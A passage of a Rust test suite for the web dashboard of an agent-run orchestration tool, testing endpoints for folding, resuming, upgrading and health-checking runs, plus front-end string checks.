10023 "a run card's updater reaches for {missing:?}, which `createRunCard` \
10024 never put in `refs` - every card will throw and the list will \
10025 render empty under a count line that says otherwise. Published: \
10026 {published:?}"
10027 );
10028 }
10029
10030 #[tokio::test]
10031 async fn folding_from_the_phone_reports_what_it_removed() {
10032 let fx = Fixture::start().await;
10033 let runs = fx.runs();
10034
10035 let id = "20260901-000000-fold";
10039 write_run(&runs, id, RunStatus::Stalled);
10040 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
10041 assert_eq!(res.status, 200);
10042 assert_eq!(res.json()["removed_count"], 0);
10043 assert_eq!(res.json()["run"], id);
10044 assert!(
10045 runs.join(id).exists(),
10046 "a fold keeps the run's record; only the worktrees go"
10047 );
10048 }
10049
10050 #[tokio::test]
10051 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
10052 let fx = Fixture::start().await;
10053 let runs = fx.runs();
10054 let wt = fx.home.path().join("wt").join("magi").join("dead");
10055 let id = "20260901-000000-dead";
10056 std::fs::create_dir_all(runs.join(id)).expect("run dir");
10057 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
10058 std::fs::create_dir_all(&wt).expect("worktree dir");
10059
10060 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
10061 assert_eq!(res.status, 200, "{}", res.body);
10062 assert!(
10063 res.json()["removed_count"].as_u64().unwrap() > 0,
10064 "the worktree this build could not read a state for still went"
10065 );
10066 assert!(
10067 !runs.join(id).exists(),
10068 "an unreadable run has no candidate list to fold selectively, so \
10069 the whole record goes - same as `magi fold` on the CLI"
10070 );
10071 }
10072
10073 #[tokio::test]
10074 async fn deleting_an_unreadable_run_removes_it_wholesale() {
10075 let fx = Fixture::start().await;
10076 let runs = fx.runs();
10077 let wt = fx.home.path().join("wt").join("magi").join("gone");
10078 let id = "20260901-000000-gone";
10079 std::fs::create_dir_all(runs.join(id)).expect("run dir");
10080 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
10081 std::fs::create_dir_all(&wt).expect("worktree dir");
10082
10083 let res = fx.delete(&format!("/api/runs/{id}")).await;
10084 assert_eq!(res.status, 204, "{}", res.body);
10085 assert!(!runs.join(id).exists(), "the broken record is gone");
10086 assert!(!wt.exists(), "its worktree is gone too");
10087 }
10088
10089 #[tokio::test]
10090 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
10091 let fx = Fixture::start().await;
10092 let runs = fx.runs();
10093 let id = "20260901-000000-live";
10094 write_run(&runs, id, RunStatus::Implementing);
10095
10096 let mut beat = crate::daemon::Status::new();
10097 beat.current = vec![crate::daemon::Current {
10098 task: "20260901-000000-task".to_owned(),
10099 run: id.to_owned(),
10100 }];
10101 beat.updated_at = jiff::Timestamp::now();
10102 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10103 .expect("publish a heartbeat");
10104
10105 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
10106 assert_eq!(res.status, 409);
10107 assert!(
10108 res.json()["error"]
10109 .as_str()
10110 .unwrap()
10111 .contains("live daemon"),
10112 "folding under a running agent would pull its worktree away"
10113 );
10114 }
10115
10116 #[tokio::test]
10117 async fn fold_merged_requires_a_pr_url() {
10118 let fx = Fixture::start().await;
10119 let runs = fx.runs();
10120 let id = "20260901-000000-nourl";
10121 write_run(&runs, id, RunStatus::Blocked);
10122
10123 let res = fx
10124 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
10125 .await;
10126 assert_eq!(res.status, 400, "{}", res.body);
10127
10128 let blank = fx
10129 .post(
10130 &format!("/api/runs/{id}/fold-merged"),
10131 Some(r#"{"pr_url":" "}"#),
10132 )
10133 .await;
10134 assert_eq!(blank.status, 400, "{}", blank.body);
10135 }
10136
10137 #[tokio::test]
10138 async fn fold_merged_is_404_for_an_unknown_run() {
10139 let fx = Fixture::start().await;
10140 let res = fx
10141 .post(
10142 "/api/runs/nosuchrun/fold-merged",
10143 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
10144 )
10145 .await;
10146 assert_eq!(res.status, 404, "{}", res.body);
10147 }
10148
10149 #[tokio::test]
10150 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
10151 let fx = Fixture::start().await;
10152 let runs = fx.runs();
10153 let id = "20260901-000000-livemerge";
10154 write_run(&runs, id, RunStatus::Blocked);
10155
10156 let mut beat = crate::daemon::Status::new();
10157 beat.current = vec![crate::daemon::Current {
10158 task: "20260901-000000-task".to_owned(),
10159 run: id.to_owned(),
10160 }];
10161 beat.updated_at = jiff::Timestamp::now();
10162 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10163 .expect("publish a heartbeat");
10164
10165 let res = fx
10166 .post(
10167 &format!("/api/runs/{id}/fold-merged"),
10168 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
10169 )
10170 .await;
10171 assert_eq!(res.status, 409, "{}", res.body);
10172 assert!(
10173 res.json()["error"]
10174 .as_str()
10175 .unwrap()
10176 .contains("live daemon"),
10177 "correcting a run's merge underneath a running agent would race \
10178 whatever it is doing to the same `status`/`merge` fields"
10179 );
10180 }
10181
10182 #[tokio::test]
10187 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
10188 let fx = Fixture::start().await;
10189 let runs = fx.runs();
10190 let id = "20260901-000000-unconfirmed";
10191 write_run(&runs, id, RunStatus::Blocked);
10192
10193 let res = fx
10194 .post(
10195 &format!("/api/runs/{id}/fold-merged"),
10196 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
10197 )
10198 .await;
10199 assert_eq!(res.status, 400, "{}", res.body);
10200 assert_eq!(
10201 read_run(&runs, id).unwrap().status,
10202 RunStatus::Blocked,
10203 "a pull request that could not be confirmed merged must leave \
10204 the run exactly where it was"
10205 );
10206 }
10207
10208 #[tokio::test]
10209 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
10210 let fx = Fixture::start().await;
10211 let runs = fx.runs();
10212
10213 for (status, word) in [
10219 (RunStatus::Merged, "merged"),
10220 (RunStatus::Ready, "ready"),
10221 (RunStatus::Failed, "failed"),
10222 ] {
10223 let id = format!("20260901-000000-{}", &word[..4]);
10224 write_run(&runs, &id, status);
10225 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
10226 assert_eq!(res.status, 409, "{word} must not be resumable");
10227 let err = res.json()["error"].as_str().unwrap().to_owned();
10228 assert!(err.contains(word), "the refusal names the status: {err}");
10229 }
10230
10231 let mid = "20260901-000000-midf";
10236 write_run(&runs, mid, RunStatus::Reviewing);
10237 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
10238 assert_eq!(res.status, 202, "an interrupted run is resumable");
10239 }
10240
10241 #[tokio::test]
10242 async fn resume_is_refused_while_the_loop_is_running() {
10243 let fx = Fixture::start().await;
10244 let runs = fx.runs();
10245 let stalled = "20260901-000000-stal";
10246 write_run(&runs, stalled, RunStatus::Stalled);
10247
10248 let mut beat = crate::daemon::Status::new();
10252 beat.current = vec![crate::daemon::Current {
10253 task: "20260901-000000-task".to_owned(),
10254 run: "20260901-000000-othr".to_owned(),
10255 }];
10256 beat.updated_at = jiff::Timestamp::now();
10257 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10258 .expect("publish a heartbeat");
10259
10260 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
10261 assert_eq!(res.status, 409);
10262 let err = res.json()["error"].as_str().unwrap().to_owned();
10263 assert!(err.contains("othr"), "it names what the loop is on: {err}");
10264 assert!(err.contains("stop it first"), "{err}");
10265 }
10266
10267 #[test]
10268 fn a_run_cannot_be_resumed_twice_at_once() {
10269 let home = TempDir::new().expect("temp home");
10270 let ui = Ui::new(
10271 Queue::at(home.path().join("queue")),
10272 Questions::at(home.path().join("questions")),
10273 Talks::at(home.path().join("talks")),
10274 home.path().join("runs"),
10275 home.path().to_path_buf(),
10276 PathBuf::from("/repo"),
10277 )
10278 .with_worktrees_root(home.path().join("wt"));
10279 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
10280 let again = ui.begin_resume("20260901-000000-once");
10281 assert!(again.is_err(), "a second tap must not start a second graph");
10282 drop(first);
10283 assert!(
10284 ui.begin_resume("20260901-000000-once").is_ok(),
10285 "and the claim is released when the attempt ends"
10286 );
10287 }
10288
10289 #[test]
10290 fn talk_thinking_tracks_only_its_held_turn_claim() {
10291 let home = TempDir::new().expect("temp home");
10292 let ui = Ui::new(
10293 Queue::at(home.path().join("queue")),
10294 Questions::at(home.path().join("questions")),
10295 Talks::at(home.path().join("talks")),
10296 home.path().join("runs"),
10297 home.path().to_path_buf(),
10298 PathBuf::from("/repo"),
10299 )
10300 .with_worktrees_root(home.path().join("wt"));
10301 let id = "20260901-000000-once";
10302
10303 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
10304 let turn = ui.begin_talk_turn(id).expect("claim turn");
10305 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
10306 assert!(
10307 !ui.is_thinking("20260901-000000-other"),
10308 "one talk's turn does not make another talk busy"
10309 );
10310 drop(turn);
10311 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
10312 }
10313
10314 #[tokio::test]
10315 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
10316 let fx = Fixture::start().await;
10317 let mut beat = crate::daemon::Status::new();
10321 beat.pid = 4321;
10322 beat.updated_at = jiff::Timestamp::now();
10323 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10324 .expect("publish a heartbeat");
10325
10326 let res = fx.post("/api/upgrade", None).await;
10327 assert_eq!(res.status, 409);
10328 let err = res.json()["error"].as_str().unwrap().to_owned();
10329 assert!(err.contains("4321"), "the refusal names the owner: {err}");
10330 assert!(err.contains("old one against the same queue"), "{err}");
10331 }
10332
10333 #[test]
10340 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
10341 assert!(!should_spawn_recheck(&crate::config::Update {
10342 mode: UpdateMode::Off,
10343 interval: None,
10344 }));
10345
10346 unsafe {
10349 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
10350 }
10351 let killed = should_spawn_recheck(&crate::config::Update {
10352 mode: UpdateMode::Notify,
10353 interval: None,
10354 });
10355 unsafe {
10356 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
10357 }
10358 assert!(
10359 !killed,
10360 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
10361 one-time startup check"
10362 );
10363
10364 assert!(should_spawn_recheck(&crate::config::Update {
10365 mode: UpdateMode::Notify,
10366 interval: None,
10367 }));
10368 }
10369
10370 #[test]
10376 fn recheck_poll_period_tracks_a_short_configured_interval() {
10377 let short = crate::config::Update {
10378 mode: UpdateMode::Notify,
10379 interval: Some("1m".to_owned()),
10380 };
10381 let period = recheck_poll_period(&short);
10382 assert!(
10383 period <= Duration::from_secs(30),
10384 "a one-minute interval must wake the task far sooner than the \
10385 default ceiling, or the deck would not notice within the \
10386 interval the operator configured: got {period:?}"
10387 );
10388
10389 let default = crate::config::Update {
10390 mode: UpdateMode::Notify,
10391 interval: None,
10392 };
10393 assert_eq!(
10394 recheck_poll_period(&default),
10395 UPDATE_RECHECK_POLL_MAX,
10396 "the default day-long interval should poll at the (capped) \
10397 ceiling rather than needlessly often"
10398 );
10399 }
10400
10401 #[test]
10409 fn recheck_skips_the_network_before_the_interval_elapses() {
10410 let dir = TempDir::new().expect("temp dir");
10411 let path = dir.path().join("state.json");
10412 let state = kaishin::UpdateCheckState {
10413 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
10414 last_known_latest: None,
10415 last_known_url: None,
10416 };
10417 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
10418
10419 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
10420 assert!(
10421 !update_recheck_due(&checker, None),
10422 "a check made moments ago must not be repeated before the \
10423 configured interval elapses"
10424 );
10425 }
10426
10427 #[test]
10433 fn recheck_defers_to_an_upgrade_already_in_flight() {
10434 let dir = TempDir::new().expect("temp dir");
10435 let path = dir.path().join("state.json");
10436 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
10437 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
10438
10439 assert!(
10440 !update_recheck_due(&checker, Some(&progress)),
10441 "a recheck must not run while an upgrade this deck started is \
10442 still moving"
10443 );
10444 }
10445
10446 #[tokio::test]
10447 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
10448 unsafe {
10460 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
10461 }
10462 let fx = Fixture::start().await;
10463 let res = fx.post("/api/upgrade", None).await;
10464 unsafe {
10465 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
10466 }
10467 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
10468 let body = res.json();
10469 assert!(body["to"].is_null(), "there was no release to move to");
10470 assert!(body["parked"].is_null(), "and nothing was parked");
10471 assert!(
10472 body["detail"]
10473 .as_str()
10474 .unwrap()
10475 .contains("disabled by MAGI_NO_AUTOUPDATE"),
10476 "{body:?}"
10477 );
10478 }
10479
10480 #[tokio::test]
10481 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
10482 let repo = TempDir::new().expect("repo dir");
10498 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
10499 .expect("write magi.toml");
10500 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10501
10502 let res = fx.post("/api/upgrade", None).await;
10508 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
10509 let body = res.json();
10510 assert!(body["to"].is_null(), "there was no release to move to");
10511 assert!(body["parked"].is_null(), "and nothing was parked");
10512 assert!(
10513 body["detail"]
10514 .as_str()
10515 .unwrap()
10516 .contains("nothing restarted"),
10517 "{body:?}"
10518 );
10519 }
10520
10521 #[tokio::test]
10522 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
10523 let repo = TempDir::new().expect("repo dir");
10528 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
10529 .expect("write magi.toml");
10530 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10531
10532 let health = fx.get("/api/health").await.json();
10533 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
10534 assert_eq!(
10535 health["update"]["available"], false,
10536 "checking is off, which reads as \"unknown\", not \"none\""
10537 );
10538 assert!(health["update"]["to"].is_null());
10539 assert!(
10540 health["upgrade"].is_null(),
10541 "nothing has ever asked this deck to upgrade"
10542 );
10543 }
10544
10545 #[tokio::test]
10546 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
10547 let fx = Fixture::start().await;
10548 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
10549
10550 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10551 progress.parked_run = Some("20260905-000000-cd51".to_owned());
10552 progress.advance(crate::updater::Stage::Parking);
10553 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10554
10555 let health = fx.get("/api/health").await.json();
10556 assert_eq!(health["upgrade"]["stage"], "parking");
10557 assert_eq!(health["upgrade"]["from"], "0.5.1");
10558 assert_eq!(health["upgrade"]["to"], "0.5.2");
10559 let waiting_on = health["upgrade"]["waiting_on"]
10560 .as_str()
10561 .expect("waiting_on is set while parking a known run");
10562 assert!(waiting_on.contains("cd51"), "{waiting_on}");
10563 assert!(waiting_on.contains("implementing"), "{waiting_on}");
10564 }
10565
10566 #[tokio::test]
10567 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
10568 let fx = Fixture::start().await;
10569 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10570 progress.advance(crate::updater::Stage::Done);
10571 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10572
10573 let health = fx.get("/api/health").await.json();
10574 assert_eq!(health["upgrade"]["stage"], "done");
10575 assert!(
10576 health["upgrade"]["waiting_on"].is_null(),
10577 "nothing to wait on once it is done"
10578 );
10579 }
10580
10581 #[tokio::test]
10582 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
10583 let home = TempDir::new().expect("temp home");
10584 let runs = home.path().join("runs");
10585 std::fs::create_dir_all(&runs).expect("runs dir");
10586 let ui = Ui::new(
10587 Queue::at(home.path().join("queue")),
10588 Questions::at(home.path().join("questions")),
10589 Talks::at(home.path().join("talks")),
10590 runs,
10591 home.path().to_path_buf(),
10592 PathBuf::from("/repo/magi"),
10593 )
10594 .with_launch(launch_idle);
10595 let looping = ui.looping();
10596 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10597 .await
10598 .expect("bind loopback");
10599 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10600
10601 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10602 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
10603
10604 hand_over(home.path(), &looping, served, |_| Ok(()))
10605 .await
10606 .expect("hand over");
10607
10608 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
10609 assert_eq!(
10610 after.stage,
10611 crate::updater::Stage::Restarting,
10612 "hand_over owns the record through parking and up to restarting; \
10613 the successor is what finishes it"
10614 );
10615 }
10616
10617 fn idle_ui(home: &TempDir) -> Ui {
10618 let runs = home.path().join("runs");
10619 std::fs::create_dir_all(&runs).expect("runs dir");
10620 Ui::new(
10621 Queue::at(home.path().join("queue")),
10622 Questions::at(home.path().join("questions")),
10623 Talks::at(home.path().join("talks")),
10624 runs,
10625 home.path().to_path_buf(),
10626 PathBuf::from("/repo/magi"),
10627 )
10628 .with_launch(launch_idle)
10629 }
10630
10631 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
10633 let looping = ui.looping();
10634 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10635 .await
10636 .expect("bind loopback");
10637 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10638 let told = std::sync::Mutex::new(None);
10639 hand_over(home.path(), &looping, served, |resume| {
10640 *told.lock().unwrap() = Some(resume);
10641 Ok(())
10642 })
10643 .await
10644 .expect("hand over");
10645 told.into_inner().unwrap().expect("successor was started")
10646 }
10647
10648 #[tokio::test]
10649 async fn a_running_loop_is_resumed_by_the_successor() {
10650 let home = TempDir::new().expect("temp home");
10651 let ui = idle_ui(&home);
10652 ui.start_loop(None).expect("start");
10653 ui.park_for_upgrade().expect("park");
10654 for _ in 0..500 {
10656 if !ui.loop_view(None).running {
10657 break;
10658 }
10659 tokio::time::sleep(Duration::from_millis(2)).await;
10660 }
10661 assert!(handed_over(&home, ui).await, "a running loop must resume");
10662
10663 let successor = idle_ui(&home);
10664 assert!(!successor.loop_view(None).running);
10665 assert!(successor.resume_after_handover(true));
10666 assert!(successor.loop_view(None).running);
10667 successor.stop_loop(None, false).expect("stop");
10668 }
10669
10670 #[tokio::test]
10671 async fn a_second_upgrade_request_keeps_the_resume_intent() {
10672 let home = TempDir::new().expect("temp home");
10673 let ui = idle_ui(&home);
10674 ui.start_loop(None).expect("start");
10675 ui.park_for_upgrade().expect("first park");
10676 ui.park_for_upgrade().expect("second park");
10677 assert!(handed_over(&home, ui).await);
10678 }
10679
10680 #[tokio::test]
10681 async fn a_stop_during_the_handover_wait_is_honoured() {
10682 let home = TempDir::new().expect("temp home");
10683 let ui = idle_ui(&home);
10684 ui.start_loop(None).expect("start");
10685 ui.park_for_upgrade().expect("park");
10686 ui.stop_loop(None, false).expect("stop");
10687 assert!(!handed_over(&home, ui).await);
10688 }
10689
10690 #[tokio::test]
10691 async fn an_idle_loop_stays_stopped_across_the_handover() {
10692 let home = TempDir::new().expect("temp home");
10693 let ui = idle_ui(&home);
10694 ui.park_for_upgrade().expect("park");
10695 assert!(!handed_over(&home, ui).await);
10696
10697 let successor = idle_ui(&home);
10698 assert!(!successor.resume_after_handover(false));
10699 assert!(!successor.loop_view(None).running);
10700 }
10701
10702 #[tokio::test]
10703 async fn a_loop_the_operator_stopped_is_not_resumed() {
10704 let home = TempDir::new().expect("temp home");
10705 let ui = idle_ui(&home);
10706 ui.start_loop(None).expect("start");
10707 ui.stop_loop(None, false).expect("stop");
10708 ui.park_for_upgrade().expect("park");
10709 assert!(!handed_over(&home, ui).await);
10710 }
10711
10712 #[test]
10713 fn only_an_explicit_one_requests_a_resume() {
10714 assert!(!resume_requested(None));
10715 assert!(!resume_requested(Some("0".into())));
10716 assert!(!resume_requested(Some("".into())));
10717 assert!(resume_requested(Some("1".into())));
10718 }
10719
10720 #[test]
10721 fn the_upgrade_button_arms_before_it_restarts_anything() {
10722 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
10725 assert!(APP_JS.contains("Replace the binary and restart?"));
10726 assert!(APP_JS.contains("function confirmed("));
10727 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
10732 assert!(
10736 APP_JS.contains("Parking, then restarting"),
10737 "the button says what it is waiting for"
10738 );
10739 assert!(APP_JS.contains("if (!out.to)"));
10742 }
10743
10744 #[test]
10745 fn stopping_the_loop_arms_but_starting_does_not() {
10746 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
10749 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
10750 assert!(APP_JS.contains("confirmed(button, question)"));
10751 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
10754 assert!(APP_JS.contains("const label = btn.textContent;"));
10755 assert!(!APP_JS.contains("Neither direction is guarded"));
10756 }
10757
10758 #[test]
10759 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
10760 assert!(
10761 APP_JS.contains("state.health.version"),
10762 "the operator wants to know what is running even with nothing newer"
10763 );
10764 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
10765 }
10766
10767 #[test]
10768 fn the_upgrade_button_names_its_destination() {
10769 assert!(
10770 APP_JS.contains("`Update to ${update.to}`"),
10771 "pressing the button should not be a surprise about what it moves to"
10772 );
10773 }
10774
10775 #[test]
10776 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
10777 for stage in ["downloading", "replaced", "parking", "restarting"] {
10778 assert!(
10779 APP_JS.contains(&format!("\"{stage}\"")),
10780 "the phone must be able to tell {stage} apart from the others"
10781 );
10782 }
10783 assert!(APP_JS.contains(".waiting_on"));
10784 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
10789 assert!(APP_JS.contains("reconnects on its own"));
10790 }
10791
10792 #[test]
10793 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
10794 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
10803 ..APP_JS.find("function upgrade(").expect("upgrade")];
10804 assert!(
10805 !body.contains(
10806 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
10807 ),
10808 "a failed upgrade must not take the whole strip over the way it used to"
10809 );
10810 assert!(
10811 body.contains("upgradeFailNote"),
10812 "the failure has to reach the loop's own note instead"
10813 );
10814 assert_eq!(
10818 body.matches("upgradeFailNote].filter(Boolean).join")
10819 .count(),
10820 2,
10821 "both loop-why writers (quiet and control) must fold the note in"
10822 );
10823 }
10824
10825 #[test]
10826 fn an_overdue_upgrade_eventually_asks_for_a_human() {
10827 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
10830 assert!(APP_JS.contains("function upgradeOverdue("));
10831 }
10832
10833 #[test]
10834 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
10835 assert!(
10836 APP_JS.contains("Updated to ${upgradeInfo.to"),
10837 "the operator who asked for the restart wants to know it worked"
10838 );
10839 }
10840
10841 #[test]
10842 fn an_error_is_visible_from_where_the_button_is() {
10843 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
10848 ..APP_CSS.find(".alert-text").expect(".alert-text")];
10849 assert!(
10850 alert.contains("position: fixed"),
10851 "an error about the thing under your thumb has to be visible from \
10852 where your thumb is: {alert}"
10853 );
10854 assert!(
10855 alert.contains("z-index: 25"),
10856 "above the dock (20) and the run-actions FAB (15), so neither \
10857 buries it: {alert}"
10858 );
10859 assert!(
10860 alert.contains("var(--tap)"),
10861 "and clear of the dock and the home indicator: {alert}"
10862 );
10863 assert!(
10866 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
10867 "the FAB's column stays free: {alert}"
10868 );
10869 }
10870
10871 #[tokio::test]
10872 async fn an_older_attempt_says_what_replaced_it() {
10873 let fx = Fixture::start().await;
10874 let q = fx.queue();
10875 let runs = fx.runs();
10876 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
10877 write_run(&runs, first, RunStatus::Stalled);
10878 write_run(&runs, second, RunStatus::Blocked);
10879
10880 let mut t = Task::new(
10881 "one task".to_owned(),
10882 "do it".to_owned(),
10883 PathBuf::from("/repo"),
10884 Source::Human,
10885 );
10886 t.runs = vec![first.to_owned(), second.to_owned()];
10887 q.put(&mut t).expect("put");
10888
10889 let rows = fx.get("/api/runs").await.json();
10893 let by = |short: &str| -> Value {
10894 rows.as_array()
10895 .unwrap()
10896 .iter()
10897 .find(|r| r["short"] == short)
10898 .cloned()
10899 .unwrap_or(Value::Null)
10900 };
10901 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
10902 assert!(
10903 by("bbbb")["superseded_by"].is_null(),
10904 "the latest attempt is not superseded by anything"
10905 );
10906 assert!(APP_JS.contains("run.superseded_by"));
10908 assert!(APP_JS.contains("Superseded by"));
10909 }
10910
10911 #[tokio::test]
10912 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
10913 let fx = Fixture::start().await;
10918 let q = fx.queue();
10919 let runs = fx.runs();
10920 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
10921 write_run(&runs, first, RunStatus::Blocked);
10922 write_run(&runs, second, RunStatus::Merged);
10923
10924 let mut t = Task::new(
10925 "one task".to_owned(),
10926 "do it".to_owned(),
10927 PathBuf::from("/repo"),
10928 Source::Human,
10929 );
10930 t.runs = vec![first.to_owned(), second.to_owned()];
10931 q.put(&mut t).expect("put");
10932
10933 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
10934 assert_eq!(earlier["superseded_by"], "dddd");
10935 assert_eq!(earlier["latest_attempt"]["id"], second);
10936 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
10937 assert_eq!(
10938 earlier["latest_attempt"]["resolved"], true,
10939 "the run that replaced it landed, so this one reads as settled"
10940 );
10941
10942 let later = fx.get(&format!("/api/runs/{second}")).await.json();
10943 assert!(
10944 later["superseded_by"].is_null(),
10945 "the latest attempt is not superseded by anything"
10946 );
10947 assert!(
10948 later["latest_attempt"].is_null(),
10949 "the latest attempt has no later attempt of its own"
10950 );
10951
10952 assert!(APP_JS.contains("run.latest_attempt"));
10959 assert!(APP_JS.contains("data-superseded"));
10960 assert!(APP_JS.contains("#/runs/${latest.id}"));
10961 }
10962
10963 #[tokio::test]
10964 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
10965 let fx = Fixture::start().await;
10971 let q = fx.queue();
10972 let runs = fx.runs();
10973 let (a, b, c) = (
10974 "20260901-000000-aaaa",
10975 "20260901-000000-bbbb",
10976 "20260901-000000-cccc",
10977 );
10978 write_run(&runs, a, RunStatus::Blocked);
10979 write_run(&runs, b, RunStatus::Blocked);
10980 write_run(&runs, c, RunStatus::Merged);
10981
10982 let mut t = Task::new(
10983 "retried twice".to_owned(),
10984 "do it".to_owned(),
10985 PathBuf::from("/repo"),
10986 Source::Human,
10987 );
10988 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
10989 q.put(&mut t).expect("put");
10990
10991 let view = fx.get(&format!("/api/runs/{a}")).await.json();
10992 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
10993 assert_eq!(
10994 view["latest_attempt"]["id"], c,
10995 "the chain's current head, not the intermediate Blocked retry"
10996 );
10997 assert_eq!(view["latest_attempt"]["resolved"], true);
10998
10999 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
11000 assert_eq!(mid["latest_attempt"]["id"], c);
11001 assert_eq!(mid["latest_attempt"]["resolved"], true);
11002 }
11003
11004 #[tokio::test]
11005 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
11006 let fx = Fixture::start().await;
11007 let q = fx.queue();
11008 let runs = fx.runs();
11009
11010 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
11013 write_run(&runs, still_blocked_a, RunStatus::Blocked);
11014 write_run(&runs, still_blocked_b, RunStatus::Blocked);
11015 let mut t1 = Task::new(
11016 "still stuck".to_owned(),
11017 "do it".to_owned(),
11018 PathBuf::from("/repo"),
11019 Source::Human,
11020 );
11021 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
11022 q.put(&mut t1).expect("put");
11023 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
11024 assert_eq!(view1["latest_attempt"]["resolved"], false);
11025
11026 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
11031 write_run(&runs, noop_a, RunStatus::Blocked);
11032 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
11033 let mut t2 = Task::new(
11034 "claims done".to_owned(),
11035 "do it".to_owned(),
11036 PathBuf::from("/repo"),
11037 Source::Human,
11038 );
11039 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
11040 q.put(&mut t2).expect("put");
11041 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
11042 assert_eq!(
